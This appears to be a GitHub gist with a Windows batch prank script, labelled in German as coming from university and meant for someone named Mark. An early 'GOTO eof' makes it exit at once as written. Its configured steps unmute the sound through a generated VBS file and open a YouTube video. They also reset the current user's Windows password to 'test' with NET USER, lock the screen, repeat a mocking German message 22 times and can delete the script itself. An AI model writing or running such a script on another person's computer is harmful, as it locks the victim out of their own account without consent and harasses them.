Skip to content

Instantly share code, notes, and snippets.

@fhfaa
Last active November 28, 2017 19:44
Show Gist options
  • Save fhfaa/3692ae04064f66146ae9a557cfc58c63 to your computer and use it in GitHub Desktop.
Save fhfaa/3692ae04064f66146ae9a557cfc58c63 to your computer and use it in GitHub Desktop.
von der uni, scheinbar fuer mark
@ECHO OFF
SETLOCAL
:: ffffffff
GOTO eof
:: ffff
:: -- OPTIONS --
:: 1 for yes, 0 for no
:: Unmute Sound? -- Will toggle mute, use only if muted
SET "_snd=1"
:: Launch Video?
SET "_vid=1"
:: Video URL? -- Should have Autoplay obviously
SET "_url=http://www.youtube.com/watch?v=5tdum1I6Bes&autoplay=1"
:: Change Windows Password?
SET "_cpw=1"
:: New Password?
SET "_npw=test"
:: Lock screen?
SET "_lck=1"
:: Spam a message?
SET "_msg=1"
:: Message text?
SET "_txt=GUCK NICHT SO BETRUNKEN!"
:: Self-destruct this file upon execution?
SET "_die=0"
:: -- DONT EDIT BELOW THIS LINE --
:unmute
IF NOT [%_snd%]==[1] GOTO video
SET "_ufile=un1qf1le.vbs"
IF NOT EXIST "%_ufile%" GOTO unmute2
SET "_fex=1"
GOTO password
:unmute2
SET "_fex=0"
ECHO Set WshShell = CreateObject("WScript.Shell")>"%_ufile%"
ECHO WshShell.SendKeys(chr(^&hAD))>>"%_ufile%"
START "" "%_ufile%"
:video
IF NOT [%_vid%]==[1] GOTO password
START "" "%_url%"
:password
IF NOT [%_cpw%]==[1] GOTO lockscreen
NET USER "%username%" "%_npw%"
:lockscreen
IF NOT [%_lck%]==[1] GOTO spammage
rundll32.exe user32.dll, LockWorkStation
:spammage
IF NOT [%_msg%]==[1] GOTO suicide
FOR /L %%a IN (1,1,22) DO ECHO %_txt%
:suicide
IF [%_fex%]==[1] GOTO suicide2
@PING 127.0.0.1 -n 2 -w 500>nul
DEL /Q "%_ufile%">nul
:suicide2
IF NOT [%_die%]==[1] IF [%_msg%]==[1] GOTO pause
IF NOT [%_die%]==[1] IF NOT [%_msg%]==[1] GOTO eof
DEL /Q %~dpnx0
:pause
PAUSE
:eof
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment